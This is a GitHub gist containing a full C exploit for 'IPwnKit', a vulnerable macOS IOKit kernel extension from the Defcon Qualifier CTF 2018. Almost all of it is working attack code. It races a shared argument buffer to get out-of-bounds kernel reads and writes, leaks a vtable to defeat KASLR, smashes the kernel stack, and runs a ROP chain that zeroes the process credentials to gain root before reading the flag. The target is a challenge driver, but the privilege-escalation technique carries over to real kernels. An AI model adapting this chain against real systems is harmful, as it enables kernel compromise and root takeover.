Skip to content

Instantly share code, notes, and snippets.

@saelo
Created May 14, 2018 21:44
Show Gist options
  • Save saelo/0a85f22c8a02f3a314661edd715900d3 to your computer and use it in GitHub Desktop.
Save saelo/0a85f22c8a02f3a314661edd715900d3 to your computer and use it in GitHub Desktop.
Exploit for IPWnKit: a macOS IOKit exploit challenge from Defcon Qualifier CTF 2018
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CFPropertyList.h>
const char* kMyDriversIOKitClassName = "io_oooverflow_IPwnKit";
int kOOOUserClientOpen = 0;
int kOOOUserClientClose = 1;
int kOOOUserClientSayHi = 2;
int kOOOUserClientReadNum = 3;
int kOOOUserClientWriteNum = 4;
int kOOOUserClientFillArray = 5;
io_connect_t connection;
// Arguments for the ReadNum and WriteNum methods
// Stored in global memory since to trigger the race condition
struct OOOArgs {
uint64_t index;
uint64_t value;
char padding[0x1000]; // Must be large enough to cause OOL transport
} Args;
// Racer thread: flips Args.index between these two values
uint64_t racer_vals[2];
void RacerThreadMain() {
volatile uint64_t* addr = &Args.index;
while (true) {
*addr = racer_vals[0];
pthread_testcancel();
*addr = racer_vals[1];
pthread_testcancel();
}
}
pthread_t racer_thread;
void StartRacer(uint64_t val1, uint64_t val2) {
racer_vals[0] = val1;
racer_vals[1] = val2;
pthread_create(&racer_thread, NULL, (void*)RacerThreadMain, NULL);
}
void StopRacer() {
pthread_cancel(racer_thread);
pthread_join(racer_thread, NULL);
}
// Thanks @LinusHenze
uint64_t GetKextAddr() {
FILE *fp;
char line[4096];
fp = popen("kextstat | grep io.oooverflow.IPwnKit | awk '{print $3}'","r");
if(fp == NULL) {
printf("Failed to get KEXT address!\n");
exit(-1);
}
fgets(line, sizeof(line)-1, fp);
uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
fclose(fp);
return addr;
}
uint64_t ReadNum(uint64_t idx) {
uint64_t out[2];
uint32_t outSize = 2;
Args.index = idx;
kern_return_t kr = IOConnectCallMethod(connection, kOOOUserClientReadNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0);
if (kr != KERN_SUCCESS) {
printf("ReadNum failed\n");
exit(-1);
}
return out[1];
}
void WriteNum(uint64_t idx, uint64_t val) {
uint64_t out[2];
uint32_t outSize = 2;
Args.index = idx;
Args.value = val;
kern_return_t kr = IOConnectCallMethod(connection, kOOOUserClientWriteNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0);
if (kr != KERN_SUCCESS) {
printf("WriteNum failed\n");
exit(-1);
}
}
uint64_t OOBReadNum(int64_t idx) {
uint64_t out[2];
uint32_t outSize = 2;
uint64_t sentinel = 0x4141414141414141;
WriteNum(0, sentinel);
Args.index = 0;
// Remove the following line to introduce a subtle race condition
// that can lead to rare kernel panics and get you banned from the challenge =)
// Without that line, if the newly created thread runs before
// we enter the IOKit call then we have a 50% chance of returning
// an incorrect value from this function and will crash later on
// because we're using an invalid kernel slide.
out[1] = sentinel;
StartRacer(0, idx);
uint64_t res = sentinel;
while (res == sentinel) {
IOConnectCallMethod(connection, kOOOUserClientReadNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0);
res = out[1];
}
StopRacer();
return res;
}
uint64_t OOBWriteNum(int64_t idx, uint64_t val) {
uint64_t out[2];
uint32_t outSize = 2;
Args.index = 0;
Args.value = val;
out[0] = 0;
StartRacer(0, idx);
uint64_t res = 0;
while (res == 0) {
IOConnectCallMethod(connection, kOOOUserClientWriteNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0);
res = out[0];
}
StopRacer();
return res;
}
// Corrupt the length field inside the UserClient structure
// and call FillArray, leading to a stack based BOF.
kern_return_t SmashKernelStack(void* buf, size_t len) {
char buffer[0x4000];
memcpy(buffer, buf, len);
OOBWriteNum(-1, len << 29);
uint64_t out;
uint32_t outSize = 1;
return IOConnectCallMethod(connection, kOOOUserClientFillArray, 0, 0, buffer, sizeof(buffer), &out, &outSize, 0, 0);
}
void IPwnKitConnect() {
kern_return_t kr;
mach_port_t masterPort;
io_service_t serviceObject;
io_iterator_t iterator;
CFDictionaryRef classToMatch;
kr = IOMasterPort(MACH_PORT_NULL, &masterPort);
if (kr != KERN_SUCCESS) {
printf("IOMasterPort returned %d\n", kr);
exit(-1);
}
classToMatch = IOServiceMatching(kMyDriversIOKitClassName);
if (classToMatch == NULL) {
printf("IOServiceMatching returned a NULL dictionary\n");
exit(-1);
}
kr = IOServiceGetMatchingServices(masterPort, classToMatch, &iterator);
if (kr != KERN_SUCCESS) {
printf("IOServiceGetMatchingServices returned %d\n", kr);
exit(-1);
}
serviceObject = IOIteratorNext(iterator);
IOObjectRelease(iterator);
if (!serviceObject) {
printf("No service found\n");
exit(-1);
}
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection);
IOObjectRelease(serviceObject);
if (kr != KERN_SUCCESS) {
printf("IOServiceOpen returned %d\n", kr);
exit(-1);
}
kr = IOConnectCallScalarMethod(connection, kOOOUserClientOpen, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
printf("OpenUserClient failed\n");
exit(-1);
}
}
int main() {
uint64_t vtab, kaslrSlide;
IPwnKitConnect();
// Leak a vtable and compute KASLR slide
vtab = OOBReadNum(-30);
kaslrSlide = (vtab-0x2070) - GetKextAddr();
printf("KASLR Slide: %llx\n", kaslrSlide);
// TODO: add something like getchar() here to have a
// chance to detect failure and abort the exploit...
// Thanks @_tsuro, see https://bazad.github.io/2016/05/mac-os-x-use-after-free/#building-the-rop-stack
uint64_t payload[27];
memset(payload, 0x41, sizeof(payload));
payload[14] = 0x434343434343;
payload[15] = kaslrSlide + 0xFFFFFF8000810670; // current_proc
payload[16] = kaslrSlide + 0xffffff800023c172; // pop rcx; ret
payload[17] = kaslrSlide + 0xffffff80006d1e79; // rcx: pop r13; ret
payload[18] = kaslrSlide + 0xffffff80004f8483; // mov rdi, rax; call rcx
payload[19] = kaslrSlide + 0xffffff8000720c40; // proc_ucred
payload[20] = kaslrSlide + 0xffffff800023c172; // pop rcx; ret
payload[21] = kaslrSlide + 0xffffff80006d1e79; // rcx: pop r13; ret
payload[22] = kaslrSlide + 0xffffff80004f8483; // mov rdi, rax; call rcx
payload[23] = kaslrSlide + 0xFFFFFF80006ec4c0; // posix_cred_get
payload[24] = kaslrSlide + 0xffffff80005f397a; // mov qword ptr [rax + 8], 0 ; pop rbp ; ret
payload[25] = 0x1337;
payload[26] = kaslrSlide + 0xFFFFFF800021F21A; // thread_exception_return
SmashKernelStack(payload, sizeof(payload));
setuid(0);
system("cat /var/root/flag");
//system("/bin/bash");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment